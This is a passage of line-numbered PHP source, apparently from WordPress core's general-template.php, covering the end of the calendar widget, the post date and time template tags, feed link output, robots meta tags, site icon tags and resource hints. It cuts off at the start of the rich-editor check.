1968 $myweek = array();
1969
1970 for ( $wdcount = 0; $wdcount <= 6; $wdcount++ ) {
1971 $myweek[] = $wp_locale->get_weekday( ( $wdcount + $week_begins ) % 7 );
1972 }
1973
1974 foreach ( $myweek as $wd ) {
1975 $day_name = $initial ? $wp_locale->get_weekday_initial( $wd ) : $wp_locale->get_weekday_abbrev( $wd );
1976 $wd = esc_attr( $wd );
1977 $calendar_output .= "\n\t\t<th scope=\"col\" title=\"$wd\">$day_name</th>";
1978 }
1979
1980 $calendar_output .= '
1981 </tr>
1982 </thead>
1983
1984 <tfoot>
1985 <tr>';
1986
1987 if ( $previous ) {
1988 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev"><a href="' . get_month_link( $previous->year, $previous->month ) . '">« ' .
1989 $wp_locale->get_month_abbrev( $wp_locale->get_month( $previous->month ) ) .
1990 '</a></td>';
1991 } else {
1992 $calendar_output .= "\n\t\t".'<td colspan="3" id="prev" class="pad"> </td>';
1993 }
1994
1995 $calendar_output .= "\n\t\t".'<td class="pad"> </td>';
1996
1997 if ( $next ) {
1998 $calendar_output .= "\n\t\t".'<td colspan="3" id="next"><a href="' . get_month_link( $next->year, $next->month ) . '">' .
1999 $wp_locale->get_month_abbrev( $wp_locale->get_month( $next->month ) ) .
2000 ' »</a></td>';
2001 } else {
2002 $calendar_output .= "\n\t\t".'<td colspan="3" id="next" class="pad"> </td>';
2003 }
2004
2005 $calendar_output .= '
2006 </tr>
2007 </tfoot>
2008
2009 <tbody>
2010 <tr>';
2011
2012 $daywithpost = array();
2013
2014 // Get days with posts
2015 $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date)
2016 FROM $wpdb->posts WHERE post_date >= '{$thisyear}-{$thismonth}-01 00:00:00'
2017 AND post_type = 'post' AND post_status = 'publish'
2018 AND post_date <= '{$thisyear}-{$thismonth}-{$last_day} 23:59:59'", ARRAY_N);
2019 if ( $dayswithposts ) {
2020 foreach ( (array) $dayswithposts as $daywith ) {
2021 $daywithpost[] = $daywith[0];
2022 }
2023 }
2024
2025 // See how much we should pad in the beginning
2026 $pad = calendar_week_mod( date( 'w', $unixmonth ) - $week_begins );
2027 if ( 0 != $pad ) {
2028 $calendar_output .= "\n\t\t".'<td colspan="'. esc_attr( $pad ) .'" class="pad"> </td>';
2029 }
2030
2031 $newrow = false;
2032 $daysinmonth = (int) date( 't', $unixmonth );
2033
2034 for ( $day = 1; $day <= $daysinmonth; ++$day ) {
2035 if ( isset($newrow) && $newrow ) {
2036 $calendar_output .= "\n\t</tr>\n\t<tr>\n\t\t";
2037 }
2038 $newrow = false;
2039
2040 if ( $day == gmdate( 'j', $ts ) &&
2041 $thismonth == gmdate( 'm', $ts ) &&
2042 $thisyear == gmdate( 'Y', $ts ) ) {
2043 $calendar_output .= '<td id="today">';
2044 } else {
2045 $calendar_output .= '<td>';
2046 }
2047
2048 if ( in_array( $day, $daywithpost ) ) {
2049 // any posts today?
2050 $date_format = date( _x( 'F j, Y', 'daily archives date format' ), strtotime( "{$thisyear}-{$thismonth}-{$day}" ) );
2051 $label = sprintf( __( 'Posts published on %s' ), $date_format );
2052 $calendar_output .= sprintf(
2053 '<a href="%s" aria-label="%s">%s</a>',
2054 get_day_link( $thisyear, $thismonth, $day ),
2055 esc_attr( $label ),
2056 $day
2057 );
2058 } else {
2059 $calendar_output .= $day;
2060 }
2061 $calendar_output .= '</td>';
2062
2063 if ( 6 == calendar_week_mod( date( 'w', mktime(0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins ) ) {
2064 $newrow = true;
2065 }
2066 }
2067
2068 $pad = 7 - calendar_week_mod( date( 'w', mktime( 0, 0 , 0, $thismonth, $day, $thisyear ) ) - $week_begins );
2069 if ( $pad != 0 && $pad != 7 ) {
2070 $calendar_output .= "\n\t\t".'<td class="pad" colspan="'. esc_attr( $pad ) .'"> </td>';
2071 }
2072 $calendar_output .= "\n\t</tr>\n\t</tbody>\n\t</table>";
2073
2074 $cache[ $key ] = $calendar_output;
2075 wp_cache_set( 'get_calendar', $cache, 'calendar' );
2076
2077 if ( $echo ) {
2078 /**
2079 * Filters the HTML calendar output.
2080 *
2081 * @since 3.0.0
2082 *
2083 * @param string $calendar_output HTML output of the calendar.
2084 */
2085 echo apply_filters( 'get_calendar', $calendar_output );
2086 return;
2087 }
2088 /** This filter is documented in wp-includes/general-template.php */
2089 return apply_filters( 'get_calendar', $calendar_output );
2090}
2091
2092/**
2093 * Purge the cached results of get_calendar.
2094 *
2095 * @see get_calendar
2096 * @since 2.1.0
2097 */
2098function delete_get_calendar_cache() {
2099 wp_cache_delete( 'get_calendar', 'calendar' );
2100}
2101
2102/**
2103 * Display all of the allowed tags in HTML format with attributes.
2104 *
2105 * This is useful for displaying in the comment area, which elements and
2106 * attributes are supported. As well as any plugins which want to display it.
2107 *
2108 * @since 1.0.1
2109 *
2110 * @global array $allowedtags
2111 *
2112 * @return string HTML allowed tags entity encoded.
2113 */
2114function allowed_tags() {
2115 global $allowedtags;
2116 $allowed = '';
2117 foreach ( (array) $allowedtags as $tag => $attributes ) {
2118 $allowed .= '<'.$tag;
2119 if ( 0 < count($attributes) ) {
2120 foreach ( $attributes as $attribute => $limits ) {
2121 $allowed .= ' '.$attribute.'=""';
2122 }
2123 }
2124 $allowed .= '> ';
2125 }
2126 return htmlentities( $allowed );
2127}
2128
2129/***** Date/Time tags *****/
2130
2131/**
2132 * Outputs the date in iso8601 format for xml files.
2133 *
2134 * @since 1.0.0
2135 */
2136function the_date_xml() {
2137 echo mysql2date( 'Y-m-d', get_post()->post_date, false );
2138}
2139
2140/**
2141 * Display or Retrieve the date the current post was written (once per date)
2142 *
2143 * Will only output the date if the current post's date is different from the
2144 * previous one output.
2145 *
2146 * i.e. Only one date listing will show per day worth of posts shown in the loop, even if the
2147 * function is called several times for each post.
2148 *
2149 * HTML output can be filtered with 'the_date'.
2150 * Date string output can be filtered with 'get_the_date'.
2151 *
2152 * @since 0.71
2153 *
2154 * @global string|int|bool $currentday
2155 * @global string|int|bool $previousday
2156 *
2157 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2158 * @param string $before Optional. Output before the date.
2159 * @param string $after Optional. Output after the date.
2160 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2161 * @return string|void String if retrieving.
2162 */
2163function the_date( $d = '', $before = '', $after = '', $echo = true ) {
2164 global $currentday, $previousday;
2165
2166 if ( is_new_day() ) {
2167 $the_date = $before . get_the_date( $d ) . $after;
2168 $previousday = $currentday;
2169
2170 /**
2171 * Filters the date a post was published for display.
2172 *
2173 * @since 0.71
2174 *
2175 * @param string $the_date The formatted date string.
2176 * @param string $d PHP date format. Defaults to 'date_format' option
2177 * if not specified.
2178 * @param string $before HTML output before the date.
2179 * @param string $after HTML output after the date.
2180 */
2181 $the_date = apply_filters( 'the_date', $the_date, $d, $before, $after );
2182
2183 if ( $echo )
2184 echo $the_date;
2185 else
2186 return $the_date;
2187 }
2188}
2189
2190/**
2191 * Retrieve the date on which the post was written.
2192 *
2193 * Unlike the_date() this function will always return the date.
2194 * Modify output with the {@see 'get_the_date'} filter.
2195 *
2196 * @since 3.0.0
2197 *
2198 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2199 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2200 * @return false|string Date the current post was written. False on failure.
2201 */
2202function get_the_date( $d = '', $post = null ) {
2203 $post = get_post( $post );
2204
2205 if ( ! $post ) {
2206 return false;
2207 }
2208
2209 if ( '' == $d ) {
2210 $the_date = mysql2date( get_option( 'date_format' ), $post->post_date );
2211 } else {
2212 $the_date = mysql2date( $d, $post->post_date );
2213 }
2214
2215 /**
2216 * Filters the date a post was published.
2217 *
2218 * @since 3.0.0
2219 *
2220 * @param string $the_date The formatted date.
2221 * @param string $d PHP date format. Defaults to 'date_format' option
2222 * if not specified.
2223 * @param int|WP_Post $post The post object or ID.
2224 */
2225 return apply_filters( 'get_the_date', $the_date, $d, $post );
2226}
2227
2228/**
2229 * Display the date on which the post was last modified.
2230 *
2231 * @since 2.1.0
2232 *
2233 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2234 * @param string $before Optional. Output before the date.
2235 * @param string $after Optional. Output after the date.
2236 * @param bool $echo Optional, default is display. Whether to echo the date or return it.
2237 * @return string|void String if retrieving.
2238 */
2239function the_modified_date( $d = '', $before = '', $after = '', $echo = true ) {
2240 $the_modified_date = $before . get_the_modified_date($d) . $after;
2241
2242 /**
2243 * Filters the date a post was last modified for display.
2244 *
2245 * @since 2.1.0
2246 *
2247 * @param string $the_modified_date The last modified date.
2248 * @param string $d PHP date format. Defaults to 'date_format' option
2249 * if not specified.
2250 * @param string $before HTML output before the date.
2251 * @param string $after HTML output after the date.
2252 */
2253 $the_modified_date = apply_filters( 'the_modified_date', $the_modified_date, $d, $before, $after );
2254
2255 if ( $echo )
2256 echo $the_modified_date;
2257 else
2258 return $the_modified_date;
2259
2260}
2261
2262/**
2263 * Retrieve the date on which the post was last modified.
2264 *
2265 * @since 2.1.0
2266 * @since 4.6.0 Added the `$post` parameter.
2267 *
2268 * @param string $d Optional. PHP date format defaults to the date_format option if not specified.
2269 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2270 * @return false|string Date the current post was modified. False on failure.
2271 */
2272function get_the_modified_date( $d = '', $post = null ) {
2273 $post = get_post( $post );
2274
2275 if ( ! $post ) {
2276 // For backward compatibility, failures go through the filter below.
2277 $the_time = false;
2278 } elseif ( empty( $d ) ) {
2279 $the_time = get_post_modified_time( get_option( 'date_format' ), false, $post, true );
2280 } else {
2281 $the_time = get_post_modified_time( $d, false, $post, true );
2282 }
2283
2284 /**
2285 * Filters the date a post was last modified.
2286 *
2287 * @since 2.1.0
2288 * @since 4.6.0 Added the `$post` parameter.
2289 *
2290 * @param string $the_time The formatted date.
2291 * @param string $d PHP date format. Defaults to value specified in
2292 * 'date_format' option.
2293 * @param WP_Post $post WP_Post object.
2294 */
2295 return apply_filters( 'get_the_modified_date', $the_time, $d, $post );
2296}
2297
2298/**
2299 * Display the time at which the post was written.
2300 *
2301 * @since 0.71
2302 *
2303 * @param string $d Either 'G', 'U', or php date format.
2304 */
2305function the_time( $d = '' ) {
2306 /**
2307 * Filters the time a post was written for display.
2308 *
2309 * @since 0.71
2310 *
2311 * @param string $get_the_time The formatted time.
2312 * @param string $d The time format. Accepts 'G', 'U',
2313 * or php date format.
2314 */
2315 echo apply_filters( 'the_time', get_the_time( $d ), $d );
2316}
2317
2318/**
2319 * Retrieve the time at which the post was written.
2320 *
2321 * @since 1.5.0
2322 *
2323 * @param string $d Optional. Format to use for retrieving the time the post
2324 * was written. Either 'G', 'U', or php date format defaults
2325 * to the value specified in the time_format option. Default empty.
2326 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2327 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2328 */
2329function get_the_time( $d = '', $post = null ) {
2330 $post = get_post($post);
2331
2332 if ( ! $post ) {
2333 return false;
2334 }
2335
2336 if ( '' == $d )
2337 $the_time = get_post_time(get_option('time_format'), false, $post, true);
2338 else
2339 $the_time = get_post_time($d, false, $post, true);
2340
2341 /**
2342 * Filters the time a post was written.
2343 *
2344 * @since 1.5.0
2345 *
2346 * @param string $the_time The formatted time.
2347 * @param string $d Format to use for retrieving the time the post was written.
2348 * Accepts 'G', 'U', or php date format value specified
2349 * in 'time_format' option. Default empty.
2350 * @param int|WP_Post $post WP_Post object or ID.
2351 */
2352 return apply_filters( 'get_the_time', $the_time, $d, $post );
2353}
2354
2355/**
2356 * Retrieve the time at which the post was written.
2357 *
2358 * @since 2.0.0
2359 *
2360 * @param string $d Optional. Format to use for retrieving the time the post
2361 * was written. Either 'G', 'U', or php date format. Default 'U'.
2362 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2363 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2364 * @param bool $translate Whether to translate the time string. Default false.
2365 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2366 */
2367function get_post_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2368 $post = get_post($post);
2369
2370 if ( ! $post ) {
2371 return false;
2372 }
2373
2374 if ( $gmt )
2375 $time = $post->post_date_gmt;
2376 else
2377 $time = $post->post_date;
2378
2379 $time = mysql2date($d, $time, $translate);
2380
2381 /**
2382 * Filters the localized time a post was written.
2383 *
2384 * @since 2.6.0
2385 *
2386 * @param string $time The formatted time.
2387 * @param string $d Format to use for retrieving the time the post was written.
2388 * Accepts 'G', 'U', or php date format. Default 'U'.
2389 * @param bool $gmt Whether to retrieve the GMT time. Default false.
2390 */
2391 return apply_filters( 'get_post_time', $time, $d, $gmt );
2392}
2393
2394/**
2395 * Display the time at which the post was last modified.
2396 *
2397 * @since 2.0.0
2398 *
2399 * @param string $d Optional Either 'G', 'U', or php date format defaults to the value specified in the time_format option.
2400 */
2401function the_modified_time($d = '') {
2402 /**
2403 * Filters the localized time a post was last modified, for display.
2404 *
2405 * @since 2.0.0
2406 *
2407 * @param string $get_the_modified_time The formatted time.
2408 * @param string $d The time format. Accepts 'G', 'U',
2409 * or php date format. Defaults to value
2410 * specified in 'time_format' option.
2411 */
2412 echo apply_filters( 'the_modified_time', get_the_modified_time($d), $d );
2413}
2414
2415/**
2416 * Retrieve the time at which the post was last modified.
2417 *
2418 * @since 2.0.0
2419 * @since 4.6.0 Added the `$post` parameter.
2420 *
2421 * @param string $d Optional. Format to use for retrieving the time the post
2422 * was modified. Either 'G', 'U', or php date format defaults
2423 * to the value specified in the time_format option. Default empty.
2424 * @param int|WP_Post $post Optional. Post ID or WP_Post object. Default current post.
2425 * @return false|string Formatted date string or Unix timestamp. False on failure.
2426 */
2427function get_the_modified_time( $d = '', $post = null ) {
2428 $post = get_post( $post );
2429
2430 if ( ! $post ) {
2431 // For backward compatibility, failures go through the filter below.
2432 $the_time = false;
2433 } elseif ( empty( $d ) ) {
2434 $the_time = get_post_modified_time( get_option( 'time_format' ), false, $post, true );
2435 } else {
2436 $the_time = get_post_modified_time( $d, false, $post, true );
2437 }
2438
2439 /**
2440 * Filters the localized time a post was last modified.
2441 *
2442 * @since 2.0.0
2443 * @since 4.6.0 Added the `$post` parameter.
2444 *
2445 * @param string $the_time The formatted time.
2446 * @param string $d Format to use for retrieving the time the post was
2447 * written. Accepts 'G', 'U', or php date format. Defaults
2448 * to value specified in 'time_format' option.
2449 * @param WP_Post $post WP_Post object.
2450 */
2451 return apply_filters( 'get_the_modified_time', $the_time, $d, $post );
2452}
2453
2454/**
2455 * Retrieve the time at which the post was last modified.
2456 *
2457 * @since 2.0.0
2458 *
2459 * @param string $d Optional. Format to use for retrieving the time the post
2460 * was modified. Either 'G', 'U', or php date format. Default 'U'.
2461 * @param bool $gmt Optional. Whether to retrieve the GMT time. Default false.
2462 * @param int|WP_Post $post WP_Post object or ID. Default is global $post object.
2463 * @param bool $translate Whether to translate the time string. Default false.
2464 * @return string|int|false Formatted date string or Unix timestamp if `$id` is 'U' or 'G'. False on failure.
2465 */
2466function get_post_modified_time( $d = 'U', $gmt = false, $post = null, $translate = false ) {
2467 $post = get_post($post);
2468
2469 if ( ! $post ) {
2470 return false;
2471 }
2472
2473 if ( $gmt )
2474 $time = $post->post_modified_gmt;
2475 else
2476 $time = $post->post_modified;
2477 $time = mysql2date($d, $time, $translate);
2478
2479 /**
2480 * Filters the localized time a post was last modified.
2481 *
2482 * @since 2.8.0
2483 *
2484 * @param string $time The formatted time.
2485 * @param string $d The date format. Accepts 'G', 'U', or php date format. Default 'U'.
2486 * @param bool $gmt Whether to return the GMT time. Default false.
2487 */
2488 return apply_filters( 'get_post_modified_time', $time, $d, $gmt );
2489}
2490
2491/**
2492 * Display the weekday on which the post was written.
2493 *
2494 * @since 0.71
2495 *
2496 * @global WP_Locale $wp_locale
2497 */
2498function the_weekday() {
2499 global $wp_locale;
2500 $the_weekday = $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2501
2502 /**
2503 * Filters the weekday on which the post was written, for display.
2504 *
2505 * @since 0.71
2506 *
2507 * @param string $the_weekday
2508 */
2509 echo apply_filters( 'the_weekday', $the_weekday );
2510}
2511
2512/**
2513 * Display the weekday on which the post was written.
2514 *
2515 * Will only output the weekday if the current post's weekday is different from
2516 * the previous one output.
2517 *
2518 * @since 0.71
2519 *
2520 * @global WP_Locale $wp_locale
2521 * @global string|int|bool $currentday
2522 * @global string|int|bool $previousweekday
2523 *
2524 * @param string $before Optional Output before the date.
2525 * @param string $after Optional Output after the date.
2526 */
2527function the_weekday_date($before='',$after='') {
2528 global $wp_locale, $currentday, $previousweekday;
2529 $the_weekday_date = '';
2530 if ( $currentday != $previousweekday ) {
2531 $the_weekday_date .= $before;
2532 $the_weekday_date .= $wp_locale->get_weekday( mysql2date( 'w', get_post()->post_date, false ) );
2533 $the_weekday_date .= $after;
2534 $previousweekday = $currentday;
2535 }
2536
2537 /**
2538 * Filters the localized date on which the post was written, for display.
2539 *
2540 * @since 0.71
2541 *
2542 * @param string $the_weekday_date
2543 * @param string $before The HTML to output before the date.
2544 * @param string $after The HTML to output after the date.
2545 */
2546 $the_weekday_date = apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );
2547 echo $the_weekday_date;
2548}
2549
2550/**
2551 * Fire the wp_head action.
2552 *
2553 * See {@see 'wp_head'}.
2554 *
2555 * @since 1.2.0
2556 */
2557function wp_head() {
2558 /**
2559 * Prints scripts or data in the head tag on the front end.
2560 *
2561 * @since 1.5.0
2562 */
2563 do_action( 'wp_head' );
2564}
2565
2566/**
2567 * Fire the wp_footer action.
2568 *
2569 * See {@see 'wp_footer'}.
2570 *
2571 * @since 1.5.1
2572 */
2573function wp_footer() {
2574 /**
2575 * Prints scripts or data before the closing body tag on the front end.
2576 *
2577 * @since 1.5.1
2578 */
2579 do_action( 'wp_footer' );
2580}
2581
2582/**
2583 * Display the links to the general feeds.
2584 *
2585 * @since 2.8.0
2586 *
2587 * @param array $args Optional arguments.
2588 */
2589function feed_links( $args = array() ) {
2590 if ( !current_theme_supports('automatic-feed-links') )
2591 return;
2592
2593 $defaults = array(
2594 /* translators: Separator between blog name and feed type in feed links */
2595 'separator' => _x('»', 'feed link'),
2596 /* translators: 1: blog title, 2: separator (raquo) */
2597 'feedtitle' => __('%1$s %2$s Feed'),
2598 /* translators: 1: blog title, 2: separator (raquo) */
2599 'comstitle' => __('%1$s %2$s Comments Feed'),
2600 );
2601
2602 $args = wp_parse_args( $args, $defaults );
2603
2604 /**
2605 * Filters whether to display the posts feed link.
2606 *
2607 * @since 4.4.0
2608 *
2609 * @param bool $show Whether to display the posts feed link. Default true.
2610 */
2611 if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {
2612 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link() ) . "\" />\n";
2613 }
2614
2615 /**
2616 * Filters whether to display the comments feed link.
2617 *
2618 * @since 4.4.0
2619 *
2620 * @param bool $show Whether to display the comments feed link. Default true.
2621 */
2622 if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {
2623 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ) . '" href="' . esc_url( get_feed_link( 'comments_' . get_default_feed() ) ) . "\" />\n";
2624 }
2625}
2626
2627/**
2628 * Display the links to the extra feeds such as category feeds.
2629 *
2630 * @since 2.8.0
2631 *
2632 * @param array $args Optional arguments.
2633 */
2634function feed_links_extra( $args = array() ) {
2635 $defaults = array(
2636 /* translators: Separator between blog name and feed type in feed links */
2637 'separator' => _x('»', 'feed link'),
2638 /* translators: 1: blog name, 2: separator(raquo), 3: post title */
2639 'singletitle' => __('%1$s %2$s %3$s Comments Feed'),
2640 /* translators: 1: blog name, 2: separator(raquo), 3: category name */
2641 'cattitle' => __('%1$s %2$s %3$s Category Feed'),
2642 /* translators: 1: blog name, 2: separator(raquo), 3: tag name */
2643 'tagtitle' => __('%1$s %2$s %3$s Tag Feed'),
2644 /* translators: 1: blog name, 2: separator(raquo), 3: term name, 4: taxonomy singular name */
2645 'taxtitle' => __('%1$s %2$s %3$s %4$s Feed'),
2646 /* translators: 1: blog name, 2: separator(raquo), 3: author name */
2647 'authortitle' => __('%1$s %2$s Posts by %3$s Feed'),
2648 /* translators: 1: blog name, 2: separator(raquo), 3: search phrase */
2649 'searchtitle' => __('%1$s %2$s Search Results for “%3$s” Feed'),
2650 /* translators: 1: blog name, 2: separator(raquo), 3: post type name */
2651 'posttypetitle' => __('%1$s %2$s %3$s Feed'),
2652 );
2653
2654 $args = wp_parse_args( $args, $defaults );
2655
2656 if ( is_singular() ) {
2657 $id = 0;
2658 $post = get_post( $id );
2659
2660 if ( comments_open() || pings_open() || $post->comment_count > 0 ) {
2661 $title = sprintf( $args['singletitle'], get_bloginfo('name'), $args['separator'], the_title_attribute( array( 'echo' => false ) ) );
2662 $href = get_post_comments_feed_link( $post->ID );
2663 }
2664 } elseif ( is_post_type_archive() ) {
2665 $post_type = get_query_var( 'post_type' );
2666 if ( is_array( $post_type ) )
2667 $post_type = reset( $post_type );
2668
2669 $post_type_obj = get_post_type_object( $post_type );
2670 $title = sprintf( $args['posttypetitle'], get_bloginfo( 'name' ), $args['separator'], $post_type_obj->labels->name );
2671 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2672 } elseif ( is_category() ) {
2673 $term = get_queried_object();
2674
2675 if ( $term ) {
2676 $title = sprintf( $args['cattitle'], get_bloginfo('name'), $args['separator'], $term->name );
2677 $href = get_category_feed_link( $term->term_id );
2678 }
2679 } elseif ( is_tag() ) {
2680 $term = get_queried_object();
2681
2682 if ( $term ) {
2683 $title = sprintf( $args['tagtitle'], get_bloginfo('name'), $args['separator'], $term->name );
2684 $href = get_tag_feed_link( $term->term_id );
2685 }
2686 } elseif ( is_tax() ) {
2687 $term = get_queried_object();
2688 $tax = get_taxonomy( $term->taxonomy );
2689 $title = sprintf( $args['taxtitle'], get_bloginfo('name'), $args['separator'], $term->name, $tax->labels->singular_name );
2690 $href = get_term_feed_link( $term->term_id, $term->taxonomy );
2691 } elseif ( is_author() ) {
2692 $author_id = intval( get_query_var('author') );
2693
2694 $title = sprintf( $args['authortitle'], get_bloginfo('name'), $args['separator'], get_the_author_meta( 'display_name', $author_id ) );
2695 $href = get_author_feed_link( $author_id );
2696 } elseif ( is_search() ) {
2697 $title = sprintf( $args['searchtitle'], get_bloginfo('name'), $args['separator'], get_search_query( false ) );
2698 $href = get_search_feed_link();
2699 } elseif ( is_post_type_archive() ) {
2700 $title = sprintf( $args['posttypetitle'], get_bloginfo('name'), $args['separator'], post_type_archive_title( '', false ) );
2701 $post_type_obj = get_queried_object();
2702 if ( $post_type_obj )
2703 $href = get_post_type_archive_feed_link( $post_type_obj->name );
2704 }
2705
2706 if ( isset($title) && isset($href) )
2707 echo '<link rel="alternate" type="' . feed_content_type() . '" title="' . esc_attr( $title ) . '" href="' . esc_url( $href ) . '" />' . "\n";
2708}
2709
2710/**
2711 * Display the link to the Really Simple Discovery service endpoint.
2712 *
2713 * @link http://archipelago.phrasewise.com/rsd
2714 * @since 2.0.0
2715 */
2716function rsd_link() {
2717 echo '<link rel="EditURI" type="application/rsd+xml" title="RSD" href="' . esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) ) . '" />' . "\n";
2718}
2719
2720/**
2721 * Display the link to the Windows Live Writer manifest file.
2722 *
2723 * @link https://msdn.microsoft.com/en-us/library/bb463265.aspx
2724 * @since 2.3.1
2725 */
2726function wlwmanifest_link() {
2727 echo '<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="',
2728 includes_url( 'wlwmanifest.xml' ), '" /> ', "\n";
2729}
2730
2731/**
2732 * Displays a noindex meta tag if required by the blog configuration.
2733 *
2734 * If a blog is marked as not being public then the noindex meta tag will be
2735 * output to tell web robots not to index the page content. Add this to the
2736 * {@see 'wp_head'} action.
2737 *
2738 * Typical usage is as a {@see 'wp_head'} callback:
2739 *
2740 * add_action( 'wp_head', 'noindex' );
2741 *
2742 * @see wp_no_robots
2743 *
2744 * @since 2.1.0
2745 */
2746function noindex() {
2747 // If the blog is not public, tell robots to go away.
2748 if ( '0' == get_option('blog_public') )
2749 wp_no_robots();
2750}
2751
2752/**
2753 * Display a noindex meta tag.
2754 *
2755 * Outputs a noindex meta tag that tells web robots not to index the page content.
2756 * Typical usage is as a wp_head callback. add_action( 'wp_head', 'wp_no_robots' );
2757 *
2758 * @since 3.3.0
2759 */
2760function wp_no_robots() {
2761 echo "<meta name='robots' content='noindex,follow' />\n";
2762}
2763
2764/**
2765 * Display site icon meta tags.
2766 *
2767 * @since 4.3.0
2768 *
2769 * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon.
2770 */
2771function wp_site_icon() {
2772 if ( ! has_site_icon() && ! is_customize_preview() ) {
2773 return;
2774 }
2775
2776 $meta_tags = array(
2777 sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( get_site_icon_url( 32 ) ) ),
2778 sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( get_site_icon_url( 192 ) ) ),
2779 sprintf( '<link rel="apple-touch-icon-precomposed" href="%s" />', esc_url( get_site_icon_url( 180 ) ) ),
2780 sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( get_site_icon_url( 270 ) ) ),
2781 );
2782
2783 /**
2784 * Filters the site icon meta tags, so Plugins can add their own.
2785 *
2786 * @since 4.3.0
2787 *
2788 * @param array $meta_tags Site Icon meta elements.
2789 */
2790 $meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );
2791 $meta_tags = array_filter( $meta_tags );
2792
2793 foreach ( $meta_tags as $meta_tag ) {
2794 echo "$meta_tag\n";
2795 }
2796}
2797
2798/**
2799 * Prints resource hints to browsers for pre-fetching, pre-rendering
2800 * and pre-connecting to web sites.
2801 *
2802 * Gives hints to browsers to prefetch specific pages or render them
2803 * in the background, to perform DNS lookups or to begin the connection
2804 * handshake (DNS, TCP, TLS) in the background.
2805 *
2806 * These performance improving indicators work by using `<link rel"…">`.
2807 *
2808 * @since 4.6.0
2809 */
2810function wp_resource_hints() {
2811 $hints = array(
2812 'dns-prefetch' => wp_dependencies_unique_hosts(),
2813 'preconnect' => array(),
2814 'prefetch' => array(),
2815 'prerender' => array(),
2816 );
2817
2818 /*
2819 * Add DNS prefetch for the Emoji CDN.
2820 * The path is removed in the foreach loop below.
2821 */
2822 /** This filter is documented in wp-includes/formatting.php */
2823 $hints['dns-prefetch'][] = apply_filters( 'emoji_svg_url', 'https://s.w.org/images/core/emoji/2/svg/' );
2824
2825 foreach ( $hints as $relation_type => $urls ) {
2826 /**
2827 * Filters domains and URLs for resource hints of relation type.
2828 *
2829 * @since 4.6.0
2830 *
2831 * @param array $urls URLs to print for resource hints.
2832 * @param string $relation_type The relation type the URLs are printed for, e.g. 'preconnect' or 'prerender'.
2833 */
2834 $urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );
2835
2836 foreach ( $urls as $key => $url ) {
2837 $url = esc_url( $url, array( 'http', 'https' ) );
2838 if ( ! $url ) {
2839 unset( $urls[ $key ] );
2840 continue;
2841 }
2842
2843 if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ) ) ) {
2844 $parsed = wp_parse_url( $url );
2845 if ( empty( $parsed['host'] ) ) {
2846 unset( $urls[ $key ] );
2847 continue;
2848 }
2849
2850 if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {
2851 $url = $parsed['scheme'] . '://' . $parsed['host'];
2852 } else {
2853 // Use protocol-relative URLs for dns-prefetch or if scheme is missing.
2854 $url = '//' . $parsed['host'];
2855 }
2856 }
2857
2858 $urls[ $key ] = $url;
2859 }
2860
2861 $urls = array_unique( $urls );
2862
2863 foreach ( $urls as $url ) {
2864 printf( "<link rel='%s' href='%s' />\n", $relation_type, $url );
2865 }
2866 }
2867}
2868
2869/**
2870 * Retrieves a list of unique hosts of all enqueued scripts and styles.
2871 *
2872 * @since 4.6.0
2873 *
2874 * @return array A list of unique hosts of enqueued scripts and styles.
2875 */
2876function wp_dependencies_unique_hosts() {
2877 global $wp_scripts, $wp_styles;
2878
2879 $unique_hosts = array();
2880
2881 foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {
2882 if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {
2883 foreach ( $dependencies->queue as $handle ) {
2884 if ( ! isset( $dependencies->registered[ $handle ] ) ) {
2885 continue;
2886 }
2887
2888 /* @var _WP_Dependency $dependency */
2889 $dependency = $dependencies->registered[ $handle ];
2890 $parsed = wp_parse_url( $dependency->src );
2891
2892 if ( ! empty( $parsed['host'] ) && ! in_array( $parsed['host'], $unique_hosts ) && $parsed['host'] !== $_SERVER['SERVER_NAME'] ) {
2893 $unique_hosts[] = $parsed['host'];
2894 }
2895 }
2896 }
2897 }
2898
2899 return $unique_hosts;
2900}
2901
2902/**
2903 * Whether the user should have a WYSIWIG editor.
2904 *
2905 * Checks that the user requires a WYSIWIG editor and that the editor is
2906 * supported in the users browser.
2907 *
2908 * @since 2.0.0
2909 *
2910 * @global bool $wp_rich_edit
2911 * @global bool $is_gecko
2912 * @global bool $is_opera
2913 * @global bool $is_safari
2914 * @global bool $is_chrome
2915 * @global bool $is_IE
2916 *
2917 * @return bool
2918 */
2919function user_can_richedit() {
